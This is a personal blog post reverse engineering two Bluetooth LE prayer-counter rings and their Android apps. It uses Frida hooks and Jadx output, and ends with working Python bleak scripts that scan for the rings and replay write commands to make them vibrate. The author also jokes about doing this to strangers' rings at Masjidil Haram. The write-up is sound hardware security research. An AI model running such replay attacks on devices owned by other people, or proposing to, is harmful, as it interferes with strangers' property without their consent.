Assalamualaikum Warahmatullahi Wabarakatuh hello guys, in this article i gonna talk about my new 2 small devices (the gold pallet on left image is for my wife and the other one on right is mine) [1. iQibla Product and 2. BSTWSH Product] that i bought for me and my wife for umrah purpose, long short story this devices is quite effective for my wife since she’s often use this device, but for me this devices not that useful I’m type person that not too comfortable using a thing around my finger, but there’s no regrets bought this device for around Rp., 120K ($8-9) each for research purpose 🤣
This 2 kind of devices using the exact same protocol for the communication from the devices to the android application, if you wondering for what connection to the application? yeah for tracking counter, simply from the devices we could track how many the counter has been reach every day and setting up for the alarm as far is i know this 2 main features of this mini devices.
This 2 kind of devices is using BLE (Bluetooth Low Energy) for the communication with android application, BLE protocol is often used for communication for IoT Project, the benefit is as mentioned on the name of the protocol LE (Low Energy), the connection not using “keep alive connection” in traditional sense, the approach using on BLE is uses connection-oriented with focus if there’s no data exchange in x time the connection is intentionally closed
In this article i will not review the back behind the BLE it self in deep area, just introduce the BLE for the better premise for this article, but to be clear in this article i will not (not yet) Reverse Engineering the device, but the application since it’s the easy way to understanding the how it’s works for this devices and application.
The ring that i own is product manufacture with application server called BSTWSH so i named the ring is BSTWSH product based on application name, the android application is could be publicly accessible on this url
Th application interface quite simple after the onboarding with select-select menu, the main interface of the application it’s look like this
There’s available praying time based on the location we pick, and the second tabs on bottom bar called “Device” it’s will show how many counter we already done and several menu’s for controlling the ring it self
BSTWSH when doing a “authentication” usually or more often called “pairing” process using concept “Just Works” (it’s Security Mode 1, Level 2) the devices will advertising their self for a devices could be connected, the other devices phone or anything that could detect that ads could connect to the devices WITHOUT ANY VALIDATION process such like pass key or any key, when the devices connected there’s no validation on any authorization process but this process looks like BSTWSH is using Security Mode 1, Level 1.
The application package id is com.awesome.bstwsh
the base application after download the application from play store will locate at
adb shell pm path com.awesome.bstwsh
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/base.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.en.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.in.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.ms.apk
package:/data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/split_config.xxhdpi.apk
There’s bunch splitted files, but I’m just download the base.apk with this command
adb pull /data/app/~~nPfrynm4YH6zYj8t5qAxVw==/com.awesome.bstwsh-8uILW01BKyLsPKN0sA1Jgw==/base.apk
Open the base.apk files with Jadx and journey of understanding the ring pairing process will begin, first stop for Reverse Engineering on this BSTWSH Application it’s analytic the files on
package com.awesome.bstwsh.application;
First code block that eye catching for me it’s the process of scanning the available ring around the application that adverting their self:
public void startBindScan() {
if (this.mClient.getConnectStatus(UserData.bindDeviceMac) == 16) {
return;
}
getInstance().mClient.search(new SearchRequest.Builder().searchBluetoothLeDevice(7000, 999).build(), new SearchResponse() { // from class: com.awesome.bstwsh.application.MyApplication.1
@Override // com.inuker.bluetooth.library.search.response.SearchResponse
public void onSearchCanceled() {
}
@Override // com.inuker.bluetooth.library.search.response.SearchResponse
public void onSearchStarted() {
Log.e("发现设备的扫描", "onSearchStarted");
}
@Override // com.inuker.bluetooth.library.search.response.SearchResponse
public void onDeviceFounded(SearchResult searchResult) {
if (UserData.bindDeviceMac.contains(searchResult.getAddress())) {
MyApplication.this.connectDeviceByMac(searchResult.getAddress());
} else if (MyApplication.this.isInAddPage && !MyApplication.this.deviceMacList.contains(searchResult.getAddress()) && searchResult.getName().contains("BW")) {
MyApplication.this.data.add(searchResult);
MyApplication.this.deviceMacList.add(searchResult.getAddress());
EventBus.getDefault().post(new MyEvent(MyEventType.EVENT_BT_FOUND, null));
}
}
@Override // com.inuker.bluetooth.library.search.response.SearchResponse
public void onSearchStopped() {
Log.e("发现设备", "扫描结束");
}
});
}
The first condition of startBindScan
function it’s checking the results of function getConnectStatus
it’s returning 16 or not, if yes stop the process for better understanding what’s the behind of getConnectStatus
it’s from the Library inuker
that use interface from the Native Android Bluetooth Manager
there’s is snipped code
public static int getConnectStatus(String str) {
BluetoothManager bluetoothManager = getBluetoothManager();
if (bluetoothManager != null) {
try {
return bluetoothManager.getConnectionState(getRemoteDevice(str), 7);
} catch (Throwable th) {
BluetoothLog.e(th);
return -1;
}
}
return -1;
}
The main code of bluetoothManager.getConnectionState(getRemoteDevice(str), 7);
it’s referenced on this URL from internal android references the integer 7
on second parameter it’s indicate the state it’s GATT
full profile code could be accessible here. Back to function startBindScan
the parameter of connected devices it’s saved on variable called UserData.bindDeviceMac
(bindDeviceMac
) that saved on UserData
Classes, here’s the how to store the bindDeviceMac
public static void setBindDevice(String str) {
bindDeviceMac = str;
SharedPreferences.Editor edit = myContext.getSharedPreferences("bstwsh", 0).edit();
edit.putString("bindDeviceMac", str);
edit.commit();
}
and here’s how to set the variable data, the data is retrieved from the sharedPreferences
bindDeviceMac = sharedPreferences.getString("bindDeviceMac", "");
Since my devices already connected, i will take a look to sharedPreferences
file at the folder of the application
And yeah, the mac address of the ring it’s saved here with plain text, it’s finding for penetration testing process? sure, hahaha! Move on to another function it’s searchBluetoothLeDevice
this function came from the wrapper library of Bluetooth Manager called (com.inuker.bluetooth.library) to be honest it’s hard to find the official documentation even on github but i found the same code but with different name in this URL, the function on the readme.md on the repo explained that first parameter of searchBluetoothLeDevice
it’s delay 7000 means 7 seconds and 999 means times, so in term of words like search the devices 999 times every 7 seconds, the base code it’s say so
public Builder searchBluetoothClassicDevice(int i) {
SearchTask searchTask = new SearchTask();
searchTask.setSearchType(1);
searchTask.setSearchDuration(i);
this.tasks.add(searchTask);
return this;
}
public Builder searchBluetoothClassicDevice(int i, int i2) {
for (int i3 = 0; i3 < i2; i3++) {
searchBluetoothClassicDevice(i);
}
return this;
}
So for better understanding, i will hook up the function from the library that handle the scan results, the idea it’s for searching what the devices BLE around my phone that scanned by the application and finding the my ring from the condition
public void onDeviceFounded(SearchResult searchResult) {
if (UserData.bindDeviceMac.contains(searchResult.getAddress())) {
MyApplication.this.connectDeviceByMac(searchResult.getAddress());
} else if (MyApplication.this.isInAddPage && !MyApplication.this.deviceMacList.contains(searchResult.getAddress()) && searchResult.getName().contains("BW")) {
MyApplication.this.data.add(searchResult);
MyApplication.this.deviceMacList.add(searchResult.getAddress());
EventBus.getDefault().post(new MyEvent(MyEventType.EVENT_BT_FOUND, null));
}
}
searchResult.getName().contains("BW"))
as long the name contains “BW” it’s mean it’s my ring, here’s the full scripts of hooking the scanning processs
Java.perform(function() {
var targetClass = Java.use("com.awesome.bstwsh.application.MyApplication$1");
targetClass.onDeviceFounded.overload('com.inuker.bluetooth.library.search.SearchResult').implementation = function(searchResult) {
var deviceName = searchResult.getName();
var macAddress = searchResult.getAddress();
var rssi = searchResult.rssi;
console.log("\n[+] Device Found!");
console.log("Device Name: " + deviceName);
console.log("MAC Address: " + macAddress);
console.log("RSSI: " + rssi);
return this.onDeviceFounded(searchResult);
};
});
From the code above i realize get the bunch of BLE device scanned around this android phone via the application even the my wife ring it’s get scanned also
and i found the BSTWSH ring also with the prefix name “BW”
From the hook process this is a big results for me, found several devices and have a right assumption about how the code works on the application, after that what the next things? yeah have a better understanding about the function that handle how the application connect to the ring with this function connectDevicesByMac
public void connectDeviceByMac(String str) {
Log.e("蓝牙", "开始连接到设备:-" + str + "-");
this.mClient.registerConnectStatusListener(str, this.mBleConnectStatusListener);
this.mClient.connect(str, new BleConnectResponse() { // from class: com.awesome.bstwsh.application.MyApplication.2
@Override // com.inuker.bluetooth.library.connect.response.BleTResponse
public void onResponse(int i, BleGattProfile bleGattProfile) {
Log.e("连接", "连接设备");
}
});
}
On this base code on the application i wanna hook the function above especially on the parameter String str
i wanna know the input and the call back it self with this frida codes
Java.perform(function() {
var myAppClass = Java.use("com.awesome.bstwsh.application.MyApplication");
myAppClass.connectDeviceByMac.implementation = function(str) {
console.log("\n[+] Connecting to MAC: " + str);
return this.connectDeviceByMac(str);
};
var bleResponseClass = Java.use("com.awesome.bstwsh.application.MyApplication$2");
bleResponseClass.onResponse.overload('int', 'com.inuker.bluetooth.library.model.BleGattProfile').implementation = function(i, bleGattProfile) {
console.log("\n[+] onResponse Callback!");
console.log("├ Status Code: " + i);
console.log("├ BleGattProfile: " + bleGattProfile);
if (bleGattProfile) {
var services = bleGattProfile.getServices();
console.log("└ Services Count: " + services.size());
}
return this.onResponse(i, bleGattProfile);
};
});
and the application connect the exact same Mac Address like connection before on the Shared Preference 02:CC:0E:7C:AB:F9
and the callback results from the function connectDeviceByMac
it’s show below, there’s nothing special to understand but another first line of UUID show up it’s hardcoded to the application the UUID 00002a19-0000-1000-8000-00805f9b34fb
The hardcoded UUID on the application it’s attached the codes below
public void readDeviceState() {
this.mClient.read(UserData.bindDeviceMac, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae03-0000-1000-8000-00805f9b34fb"), new BleReadResponse() { // from class: com.awesome.bstwsh.application.MyApplication.3
@Override // com.inuker.bluetooth.library.connect.response.BleTResponse
public void onResponse(int i, byte[] bArr) {
if (i == 0) {
Log.e("设备消息App:读取到数据-", MyApplication.encodeHexString(bArr));
EventBus.getDefault().post(new MyEvent(MyEventType.BT_NOTIFY_MESSAGE, bArr));
}
}
});
}
public void getBattery() {
this.mClient.read(UserData.bindDeviceMac, UUID.fromString("0000180f-0000-1000-8000-00805f9b34fb"), UUID.fromString("00002a19-0000-1000-8000-00805f9b34fb"), new BleReadResponse() { // from class: com.awesome.bstwsh.application.MyApplication.4
@Override // com.inuker.bluetooth.library.connect.response.BleTResponse
public void onResponse(int i, byte[] bArr) {
if (i == 0) {
EventBus.getDefault().post(new MyEvent(MyEventType.BATTERY_GET, bArr));
Log.e("设备消息App:读取BATTERY_GET", MyApplication.encodeHexString(bArr));
}
}
});
this.mClient.read(UserData.bindDeviceMac, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae01-0000-1000-8000-00805f9b34fb"), new BleReadResponse() { // from class: com.awesome.bstwsh.application.MyApplication.5
@Override // com.inuker.bluetooth.library.connect.response.BleTResponse
public void onResponse(int i, byte[] bArr) {
if (i == 0) {
String str = new String(bArr, StandardCharsets.UTF_8);
Log.e("设备消息App:1读取版本号", str);
Log.e("设备消息App:2读取版本号", MyApplication.encodeHexString(bArr));
MyApplication.this.deviceSoftVersion = str;
EventBus.getDefault().post(new MyEvent(MyEventType.BT_DEVICE_SOFT_VERSION_UPDATE, bArr));
}
}
});
}
/* JADX INFO: Access modifiers changed from: private */
public void openNotify(String str) {
this.mClient.notify(str, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae02-0000-1000-8000-00805f9b34fb"), this.bleNotifyResponse);
}
/* JADX INFO: Access modifiers changed from: private */
public void saveSkippingRecord(String str, int i) {
SQLiteDatabase writableDatabase = this.dbHelper.getWritableDatabase();
Cursor query = writableDatabase.query("skipping_records", new String[]{"id"}, "date = ?", new String[]{str}, null, null, null);
ContentValues contentValues = new ContentValues();
contentValues.put("count", Integer.valueOf(i));
if (query.moveToFirst()) {
writableDatabase.update("skipping_records", contentValues, "date = ?", new String[]{str});
} else {
contentValues.put("date", str);
writableDatabase.insert("skipping_records", null, contentValues);
}
query.close();
writableDatabase.close();
}
public static String encodeHexString(byte[] bArr) {
StringBuilder sb = new StringBuilder();
int length = bArr.length;
for (int i = 0; i < length; i++) {
sb.append(String.format("-%02X", Byte.valueOf(bArr[i])));
}
return sb.toString();
}
public void setValueByMac(String str, byte[] bArr) {
Log.e("设备消息App:发送数据到-" + str, encodeHexString(bArr));
this.mClient.writeNoRsp(str, UUID.fromString("0000ae30-0000-1000-8000-00805f9b34fb"), UUID.fromString("0000ae03-0000-1000-8000-00805f9b34fb"), bArr, new BleWriteResponse() { // from class: com.awesome.bstwsh.application.MyApplication.8
@Override // com.inuker.bluetooth.library.connect.response.BleResponse
public void onResponse(int i) {
}
});
}
The UUID show up and hardcoded in the application it’s purposing to call the service on the devices, like the code of getBattery
it’s the function for get the service for of battery on the Ring, let’s hook to take a look
Java.perform(function() {
var batteryResponseClass = Java.use("com.awesome.bstwsh.application.MyApplication$4");
batteryResponseClass.onResponse.overload('int', '[B').implementation = function(i, bArr) {
console.log("\n[+] Battery Read Callback:");
console.log("Status Code: " + i);
console.log("Hex Data: " + bytesToHex(bArr));
console.log("Event Type: BATTERY_GET");
return this.onResponse(i, bArr);
};
var versionResponseClass = Java.use("com.awesome.bstwsh.application.MyApplication$5");
versionResponseClass.onResponse.overload('int', '[B').implementation = function(i, bArr) {
console.log("\n[+] Version Read Callback:");
console.log("Status Code: " + i);
console.log("Hex Data: " + bytesToHex(bArr));
console.log("UTF-8 String: " + bytesToString(bArr));
console.log("Event Type: BT_DEVICE_SOFT_VERSION_UPDATE");
return this.onResponse(i, bArr);
};
function bytesToHex(buffer) {
return Array.prototype.map.call(new Uint8Array(buffer),
x => ('00' + x.toString(16)).slice(-2)
).join(':');
}
function bytesToString(buffer) {
try {
return String.fromCharCode.apply(null, new Uint8Array(buffer));
} catch(e) {
return "[Invalid UTF-8]";
}
}
});
On callback response showing up the hex data it’s 43
which means on the decimal conversion was 67 exact same on the application interfaces.
On the application there’s several action to exchange data between the ring and the application the BLE method for sending it’s called Read, Write and Notify as mentioned function Read it’s for reading the data from application to the Ring, Write function it’s sending instruction to the Ring and Notify it’s when Ring sending data to the application all that function it’s using native class on the android from class BluetoothGattCallback
(official)
So for intercepting the whole process person on public already write the wrapper for this process here’s the official repository that code I’m used for this research (repo) the idea it’s intercepting the communication, so I’m editing the code just make sure hook the Android application only
if (Java.available) {
console.log("[*] Starting BLE hooking");
Java.perform(function () {
var BTGattCB = Java.use("android.bluetooth.BluetoothGattCallback");
// https://github.com/frida/frida/issues/310#issuecomment-462447292
console.log("[*] Hooking BluetoothGattCallback");
BTGattCB.$init.overload().implementation = function () {
console.log("[+] BluetoothGattCallback constructor called from " + this.$className);
const NewCB = Java.use(this.$className);
NewCB.onCharacteristicRead.implementation = function (g, c, s) {
const retVal = NewCB.onCharacteristicRead.call(this, g, c, s);
var uuid = c.getUuid();
console.log(Color.Blue + "[BLE Read <=]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
return retVal;
};
NewCB.onCharacteristicWrite.implementation = function (g, c, s) {
const retVal = NewCB.onCharacteristicWrite.call(this, g, c, s);
var uuid = c.getUuid();
console.log(Color.Green + "[BLE Write =>]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
return retVal;
};
NewCB.onCharacteristicChanged.implementation = function (g, c) {
var uuid = c.getUuid();
console.log(Color.Cyan + "[BLE Notify <=]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
const retVal = NewCB.onCharacteristicChanged.call(this, g, c);
return retVal;
};
return this.$init();
};
}); // end perform
}
var Color = {
Reset: "\x1b[39;49;00m",
Black: "\x1b[30;01m", Blue: "\x1b[34;01m", Cyan: "\x1b[36;01m", Gray: "\x1b[37;11m",
Green: "\x1b[32;01m", Purple: "\x1b[35;01m", Red: "\x1b[31;01m", Yellow: "\x1b[33;01m",
Light: {
Black: "\x1b[30;11m", Blue: "\x1b[34;11m", Cyan: "\x1b[36;11m", Gray: "\x1b[37;01m",
Green: "\x1b[32;11m", Purple: "\x1b[35;11m", Red: "\x1b[31;11m", Yellow: "\x1b[33;11m"
}
};
// thanks: https://awakened1712.github.io/hacking/hacking-frida/
function bytes2hex(array) {
var result = '';
for (var i = 0; i < array.length; ++i)
result += ('0' + (array[i] & 0xFF).toString(16)).slice(-2);
return result;
};
function pad(num, size) {
var s = num + "";
while (s.length < size) s = "0" + s;
return s;
}
The output it’s looks like this
When the application booting and pairing with the ring for the first time application will using Read and Write to the ring for exchange necessary process data, here’s breakdown for the data Traffic:
Notify
When button on ring it’s pressed, the Ring will send to Application via Notify with value hex looks like on the screenshot above 0xaa0300b the necessary of changing the counter on interface only the 0b
which is 11
in decimal, but the actual data send it’s on byteArray
format [-86,3,0,2]
NewCB.onCharacteristicChanged.implementation = function (g, c) {
console.log("Data: ", c.getValue());
var uuid = c.getUuid();
console.log(Color.Cyan + "[BLE Notify <=]" + Color.Light.Black + " UUID: " + uuid.toString() + Color.Reset + " data: 0x" + bytes2hex(c.getValue()));
const retVal = NewCB.onCharacteristicChanged.call(this, g, c);
return retVal;
};
After know how the format Notify from the Ring to the Application what next? yeah intercepting and manipulation the data from the ring to application, now the idea it’s when the button click the counter on interface it’s set to 100.
console.log("Data OLD: ", c.getValue());
var uuid = c.getUuid();
c.getValue()[3] = 100;
console.log("Data NEW: ", c.getValue());
And yeah with this kind of modification i could edit the input from the ring, the index-3 on input Notify it’s the digit we could edit-edit the data with any digits for manipulation the input.
Write
The Write function on BLE is used for several purposing on the application that i discovered the Write BLE is used for Find the ring purpose
when the button find is tapped the Write will sending the data to the Ring and the ring start vibrate forever until button stop it’s tapped
The condition 5,1
is for vibrate and 5,0
is for stop the vibrate.
Read
The operation of read it’s couldn’t i discovered on the application but the data it’s used for getBattery
that i show up on the earlier of the article, let’s rediscovered the function with combined hook to battery and read function
And yeah the read function it’s used for battery indicator with direct value of data, show up data from read function it’s 0x3a
and the get battery also 3a
which is on decimal was 58%.
The exploration of BSTWSH it’s done here, everything meet my expectation about how the Ring and the Application working together, this Reverse Engineering process about the BSTWSH make me learn much about BLE, thank you! Let’s move on!
This iQibla product it’s much mature at everything at Application side or the Manufacture of the Ring it self, the application it’s required login to interact with the Ring and the how to find the Ring for pairing it’s much easier for everyone, but basically i will do a same process like the BSTWSH but skipping part of Reverse Engineering.
The internal of iQibla is obfuscated and several function it’s rewrite by iQibla application, I’m doing some modification to the public application to make suite to the application to intercepting the communication between BLE Ring and the Application
Here’s the format data exchange between BLE to the Application, the features quite same with previous product but the format that is hell different, but it’s okay trying to intercepting the Notify process
Notify
At this Application and Ring the BLE format it’s not that easily to read, when I’m press the button on the ring send the 13 value to counter, the BLE data it’s not show up the hex or decimal that indicate the value it self, but i will trying to discover the format
Format | Value Expected |
---|---|
81,48,55,44,48,48,49,50,44,53,57,55,53,57,53,48,55,44,48,44,48 | 12 |
81,48,55,44,48,48,49,51,44,53,57,55,53,57,53,48,55,44,48,44,48 | 13 |
81,48,55,44,48,48,49,52,44,53,57,55,53,57,53,48,55,44,48,44,48 | 14 |
The difference it’s on index number 7 count from 0, the value 50 it’s representing 12, 51 it’s representing 13 and 52 it’s representing 14 there’s no indicate 50 it’s 12 from hex or decimal format, but i will overwrite the value first with 1,2,3 look what number appear to the interface application
When change the index-7 to 1 there’s no changes to the interface, if we calculate the 50 representing 12 so if 50-12 it’s 38 so if want to set the value to 1 the index-7 must be 38+1 = 39, let’s try.
The theory say but the practical side say no, hahaha! i wont waste my time to discover the format, i will just explore the BLE Transport data, but i will takes note for my self
This is process for Notify 1,2,3,4 and reset to 0.
Write
When the Find Ring tapped once, the application just vibrate the Ring like 10 seconds, and when second tap the vibrate will stopping, the data it’s readable 31
for start and 30
for stopping.
The features for flipping screen on ring it’s also readable the number indicate it’s 31 and 30.
The iQibla application sounds so mature and the manufacture it’s so damn good, i will maybe spend better time to explore the explorer and the rest of it, the BLE communication it’s quite in weird format, very interesting.
At this section i will trying to attacking the BSTWSH product, since the manufacture and the application not that mature enough if compared to iQibla product. First I’m using this Library called bleak
The procedure it’s doing same process like BSTWSH product, Scanning Available Device → Connect and Vibrate the Ring!
import asyncio
from bleak import BleakScanner
async def scan_ble_devices():
devices = await BleakScanner.discover()
if devices:
for idx, device in enumerate(devices, 1):
print(f"[{idx}] {device.name} ({device.address}) - RSSI: {device.rssi} dBm")
else:
print("Nothing.")
if __name__ == "__main__":
asyncio.run(scan_ble_devices())
The application it’s could be scanned with that scripts, and after that i need to connect to that MAC Address and doing operation with specific UUID that hardcoded
import asyncio
from bleak import BleakClient
DEVICE_MAC = "02:CC:0E:7C:AB:F9"
BATTERY_SERVICE_UUID = "0000180f-0000-1000-8000-00805f9b34fb"
BATTERY_CHARACTERISTIC_UUID = "00002a19-0000-1000-8000-00805f9b34fb"
async def get_battery_data():
async with BleakClient(DEVICE_MAC) as client:
if await client.is_connected():
print(f"Connected to {DEVICE_MAC}.")
try:
battery_data = await client.read_gatt_char(BATTERY_CHARACTERISTIC_UUID)
battery_level = int(battery_data[0])
print(f"Data baterai: {battery_level}")
print(f"And Battery was: {battery_level}%")
except Exception as e:
print(f"Error: {e}")
else:
print(f"Failed Connect to {DEVICE_MAC}.")
if __name__ == "__main__":
asyncio.run(get_battery_data())
After that? yeah send the BLE data to trigger Vibrate the Ring with Replay Attack, simply send the same data as the application for the this attack, that’s why named Replay Attack
import asyncio
from bleak import BleakClient
def unsigned_to_signed(unsigned_byte):
return unsigned_byte - 256 if unsigned_byte > 127 else unsigned_byte
DEVICE_MAC = "02:CC:0E:7C:AB:F9"
WRITE_CHARACTERISTIC_UUID = "0000ae03-0000-1000-8000-00805f9b34fb"
DATA_TO_WRITE = bytearray([170, 5, 1]) # [-86, 5, 1] to unsigned
async def write_data_to_characteristic():
async with BleakClient(DEVICE_MAC) as client:
if await client.is_connected():
print(f"Connected to {DEVICE_MAC}.")
try:
await client.write_gatt_char(WRITE_CHARACTERISTIC_UUID, DATA_TO_WRITE)
print(f"Data {list(DATA_TO_WRITE)} SENT!.")
print("Ring is Vibrating.")
except Exception as e:
print(f"Error: {e}")
else:
print(f"Failed to Connect {DEVICE_MAC}.")
if __name__ == "__main__":
asyncio.run(write_data_to_characteristic())
The Ring it’s vibrate forever! The data actually signed -86 convert to unsigned became 170, let’s try to the iQibla format
# DEVICE_MAC = "02:CC:0E:7C:AB:F9"
DEVICE_MAC = "34:DD:7E:37:9B:3B" #iqibla
WRITE_CHARACTERISTIC_UUID = "0000d004-0000-1000-8000-00805f9b34fb"
# DATA_TO_WRITE = bytearray([170, 5, 1]) # [-86, 5, 1] to unsigned
DATA_TO_WRITE = bytearray([80,48,52,44,50,48,50,53,48,49,50,55,49,51,49,55,53,50,54,48,52,44,49])
And yeah! with weird format i could do a same replay attack to the every Ring Device that own by me and my wife haha! So what’s next? yeah if we doing Umrah Ibadah to Madinah and Meccah we could do this attack, doing scan and vibrate everyone around Masjidil Haram or Masjid Nabawi since everyone on this world probably own this Devices!
Thank you for reading this article gusy, BLE protocol without key pairing or proper authentication it’s have a big purposing for easy to use the product, and also the security concern it’s not that important at this moments, why? there’s no PII data send over the Ring to the Application but if we are security person will think better work around for this!
I hope this article useful for everyone who read this and specially for my self doing a better research at security field rather than yapping around with no sense things.
Bonus: Me botak after Tahalul, my Mom at the middle and my beautiful Wife 💕 at Masjidil haram as the background!